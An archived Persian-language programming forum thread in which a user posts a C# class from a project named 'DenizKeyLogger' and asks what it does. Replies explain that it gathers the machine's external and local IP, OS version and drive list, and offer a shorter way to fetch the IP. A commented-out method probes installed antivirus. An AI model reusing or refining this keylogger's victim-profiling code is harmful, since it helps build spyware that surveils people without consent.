PDA

View Full Version : دستورات موجود در این قسمت دقیقا چیکار میکنن؟؟؟



amir35200
دوشنبه 11 شهریور 1392, 12:54 عصر
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.IO;

namespace DenizKeyLogger
{
class GetINFO
{
static string result = "";
static string antivirusname = "none";
public static string GetEIP()
{
try
{

HttpWebRequest myWebRequest = (HttpWebRequest)HttpWebRequest.Create("http://www.prodigyproductionsllc.com/yourip.php");
myWebRequest.Method = "GET";
HttpWebResponse myWebResponse = (HttpWebResponse)myWebRequest.GetResponse();
StreamReader myWebSource = new StreamReader(myWebResponse.GetResponseStream());
result = myWebSource.ReadToEnd();
return result.Trim();
}
catch { return result.Trim(); }
}
public static string GetIIP()
{
IPHostEntry IPHost = Dns.GetHostByName(Dns.GetHostName());
return IPHost.AddressList[0].ToString();
}
public static string GetOS()
{
System.OperatingSystem osInfo2 = System.Environment.OSVersion;
return(osInfo2.ToString());
}
//public static string GetAntiVirusName()
//{
// try
// {
// string computer = Environment.MachineName;
// string wmipath = @"\\" + computer + @"\root\SecurityCenter";
// string query = @"SELECT * FROM AntivirusProduct";

// ManagementObjectSearcher searcher = new ManagementObjectSearcher(wmipath, query);
// ManagementObjectCollection results = searcher.Get();

// foreach (ManagementObject result in results)
// {
// antivirusname = result["displayName"].ToString();
// }
// return antivirusname;
// }
// catch { return antivirusname; }
//}
public static string GetAllDrive()
{
string result = "";
try
{
DriveInfo[] drives = DriveInfo.GetDrives();

foreach (DriveInfo drive in drives)
{
result += drive.Name + drive.VolumeLabel + " | ";
}
}
catch { }
return result;
}
}
}

rezamansori
دوشنبه 11 شهریور 1392, 14:31 عصر
متد GetEIP آی پی اینترنتی رو بر میگردونه ، GetIP آی پی شبکه محلی رو بر میگردونه ، GetOS مشخصات سیستم عامل رو بر میگردونه و متد آخر هم که معلومه درایو ها رو بر میگردونه.

amir35200
سه شنبه 12 شهریور 1392, 09:02 صبح
داداش اون سایتی که توش نوشته چییه؟؟؟

:متفکر:

aliagamon
سه شنبه 12 شهریور 1392, 09:11 صبح
چون شما نمیتونید ای پی رو مستقیم از سیستم بگیرین از یه سایت واسطه استفاده کرده .... ببین بهتره واسه گرفتن ای پی (بازم همین روشه فقط در webclient)از این روش استفاده کنی:

WebClient wc = new WebClient();
textBox1.Text = wc.DownloadString(new Uri("http://icanhazip.com/"));


کل این ها میشه دو خط بالا:

HttpWebRequest myWebRequest = (HttpWebRequest)HttpWebRequest.Create("http://www.prodigyproductionsllc.com/yourip.php");
myWebRequest.Method = "GET";
HttpWebResponse myWebResponse = (HttpWebResponse)myWebRequest.GetResponse();
StreamReader myWebSource = new StreamReader(myWebResponse.GetResponseStream());
result = myWebSource.ReadToEnd();


البته یه یوزینگ هم میخواد که اینه:
using System.Net;